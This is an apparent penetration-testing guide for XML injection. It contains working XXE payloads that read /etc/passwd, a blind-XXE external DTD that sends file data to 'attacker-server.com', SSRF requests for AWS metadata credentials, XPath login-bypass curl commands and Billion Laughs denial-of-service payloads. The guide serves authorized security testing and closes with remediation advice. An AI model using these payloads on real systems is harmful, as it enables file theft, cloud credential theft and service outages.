Testing for XML Injection Vulnerabilities

When to Use

• When testing applications that process XML input (SOAP APIs, XML-RPC, file uploads)
• During penetration testing of applications with XML parsers
• When assessing SAML-based authentication implementations
• When testing file import/export functionality that handles XML formats
• During API security testing of SOAP or XML-based web services

Prerequisites

• Burp Suite with XML-related extensions (Content Type Converter, XXE Scanner)
• XMLLint or similar XML validation tools
• Understanding of XML structure, DTDs, and entity processing
• Python 3.x with lxml and requests libraries
• Access to an out-of-band interaction server (Burp Collaborator, interact.sh)
• Sample XXE payloads from PayloadsAllTheThings repository

Workflow

Step 1 — Identify XML Processing Endpoints

# Look for endpoints accepting XML content types
# Content-Type: application/xml, text/xml, application/soap+xml
# Check WSDL files for SOAP services
curl -s http://target.com/service?wsdl

# Test if endpoint accepts XML by changing Content-Type
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><root><test>hello</test></root>'

# Check for XML file upload functionality
# Look for .xml, .svg, .xlsx, .docx file processing

Step 2 — Test for Basic XXE (File Retrieval)

<!-- Basic XXE to read local files -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>

<!-- Windows file retrieval -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<root><data>&xxe;</data></root>

<!-- Using PHP wrapper for base64-encoded file content -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<root><data>&xxe;</data></root>

Step 3 — Test for Blind XXE with Out-of-Band Detection

<!-- Out-of-band XXE using external DTD -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker-server.com/xxe.dtd">
  %xxe;
]>
<root><data>test</data></root>

<!-- External DTD file (xxe.dtd hosted on attacker server) -->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker-server.com/?data=%file;'>">
%eval;
%exfil;

<!-- DNS-based out-of-band detection -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://xxe-test.burpcollaborator.net">
]>
<root><data>&xxe;</data></root>

Step 4 — Test for SSRF via XXE

<!-- Internal network scanning via XXE -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root><data>&xxe;</data></root>

<!-- AWS metadata endpoint access -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root><data>&xxe;</data></root>

<!-- Internal port scanning -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://internal-server:8080/">
]>
<root><data>&xxe;</data></root>

Step 5 — Test for XPath Injection

# Basic XPath injection in search parameters
curl "http://target.com/search?query=' or '1'='1"

# XPath authentication bypass
curl -X POST http://target.com/login \
  -d "username=' or '1'='1&password=' or '1'='1"

# XPath data extraction
curl "http://target.com/search?query=' or 1=1 or ''='"

# Blind XPath injection with boolean-based extraction
curl "http://target.com/search?query=' or string-length(//user[1]/password)=8 or ''='"
curl "http://target.com/search?query=' or substring(//user[1]/password,1,1)='a' or ''='"

Step 6 — Test for XML Billion Laughs (DoS)

<!-- Billion Laughs attack (use only in authorized testing) -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<root><data>&lol4;</data></root>

<!-- Quadratic blowup attack -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY a "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA">
]>
<root>&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;</root>

Key Concepts

Concept	Description
XXE (XML External Entity)	Attack exploiting XML parsers that process external entity references
Blind XXE	XXE where response is not reflected; requires out-of-band channels
XPath Injection	Injection into XPath queries used to navigate XML documents
DTD (Document Type Definition)	Declarations that define XML document structure and entities
Parameter Entities	Special entities (%) used within DTDs for blind XXE exploitation
SSRF via XXE	Using XXE to make server-side requests to internal resources
XML Bomb	Denial of service via recursive entity expansion (Billion Laughs)

Tools & Systems

Tool	Purpose
Burp Suite	HTTP proxy with XXE Scanner extension for automated detection
XXEinjector	Automated XXE injection and data exfiltration tool
OXML_XXE	Tool for embedding XXE payloads in Office XML documents
xmllint	XML validation and parsing utility for payload testing
interact.sh	Out-of-band interaction server for blind XXE detection
Content Type Converter	Burp extension to convert JSON requests to XML for XXE testing

Common Scenarios

1. File Disclosure — Read sensitive server files (/etc/passwd, web.config) through classic XXE entity injection in XML input fields
2. SSRF to Cloud Metadata — Access AWS/GCP/Azure metadata endpoints through XXE to steal IAM credentials and access tokens
3. Blind Data Exfiltration — Extract sensitive data through out-of-band DNS/HTTP channels when XXE output is not reflected
4. SAML XXE — Inject XXE payloads into SAML assertions during single sign-on authentication flows
5. SVG File Upload XXE — Upload malicious SVG files containing XXE payloads to trigger server-side XML parsing

Output Format

## XML Injection Assessment Report
- **Target**: http://target.com/api/xml-endpoint
- **Vulnerability Types Found**: XXE, Blind XXE, XPath Injection
- **Severity**: Critical

### Findings
| # | Type | Endpoint | Payload | Impact |
|---|------|----------|---------|--------|
| 1 | XXE File Read | POST /api/import | SYSTEM "file:///etc/passwd" | Local File Disclosure |
| 2 | Blind XXE | POST /api/upload | External DTD with OOB | Data Exfiltration |
| 3 | SSRF via XXE | POST /api/parse | SYSTEM "http://169.254.169.254/" | Cloud Credential Theft |

### Remediation
- Disable external entity processing in XML parser configuration
- Use JSON instead of XML where possible
- Implement XML schema validation with strict DTD restrictions
- Block outbound connections from XML processing services